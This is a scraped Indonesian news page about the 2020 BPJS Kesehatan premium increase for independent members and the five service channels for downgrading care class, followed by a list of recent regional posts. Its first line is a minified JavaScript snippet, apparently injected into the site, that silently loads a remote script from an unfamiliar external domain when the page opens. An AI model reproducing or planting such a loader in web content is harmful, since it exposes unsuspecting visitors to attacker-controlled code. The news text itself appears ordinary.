(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Berat Bayar Kenaikan Iuran BPJS yang Naik Per Hari Ini? Begini Cara Turun Kelas


JAKARTA, Pemerintah resmi memberlakukan kenaikan iuran BPJS Kesehatan hingga 100 persen bagi peserta mandiri mulai 1 Januari 2020 ini. Dengan keputusan tersebut, iuran peserta kelas mandiri I naik dari Rp80 ribu menjadi Rp160 ribu per peserta per bulan.

Kemudian, peserta kelas mandiri II, iuran naik dari Rp51 ribu menjadi Rp110 ribu per peserta per bulan dan kelas mandiri III dari Rp25.500 menjadi Rp42 ribu per peserta per bulan.

Jika peserta merasa beban iuran yang harus dibayar karena kenaikan tersebut terlalu berat, mereka bisa mengajukan permohonan penurunan kelas ke BPJS Kesehatan. Caranya?

Berdasarkan buku Panduan Layanan BPJS Kesehatan disebutkan, perubahan kelas rawat peserta mandiri dapat dilakukan setelah 1 tahun menjadi peserta. Perubahan kelas harus diikuti perubahan kelas rawat seluruh anggota keluarga yang tercantum dalam kartu keluarga.

Selain itu, peserta yang melakukan perubahan kelas perawatan pada bulan berjalan, maka kelas perawatan barunya berlaku pada bulan selanjutnya. Bagi yang ingin mengubah kelas rawat, BPJS Kesehatan menyediakan lima kanal layanan.

Pertama, Aplikasi Mobile JKN. Peserta membuka Aplikasi Mobile JKN dan klik menu ubah data peserta lalu masukkan data perubahan.

Kedua, BPJS Kesehatan Care Center 1500 400. Peserta menghubungi Care Center dan menyampaikan perubahan data peserta dimaksud.

Ketiga, Mobile Customer Service (MCS). Peserta mengunjungi Mobile Customer Service (MCS) pada hari dan jam yang telah ditentukan. Setelah itu, mengisi Formulir Daftar Isian Peserta (FDIP) dan menunggu antrian untuk mendapatkan pelayanan.

Keempat, Mall Pelayanan Publik. Peserta mengunjungi Mall Pelayanan Publik, mengisi FDIP dan menunggu antrian untuk mendapatkan pelayanan.

Kelima, peserta bisa ke Kantor Cabang dan Kantor Kabupaten/Kota BPJS Kesehatan terdekat. Peserta mengunjungi kantor, mengisi FDIP, mengambil nomor antrian pelayanan loket perubahan data dan menunggu antrian. Langkah-langkah yang disebutkan di atas dapat digunakan jika peserta mandiri ingin mengubah kelas rawat di tengah kenaikan iuran BPJS Kesehatan. (agt)

 

Editor : Cell

 


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

9 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

10 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

11 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.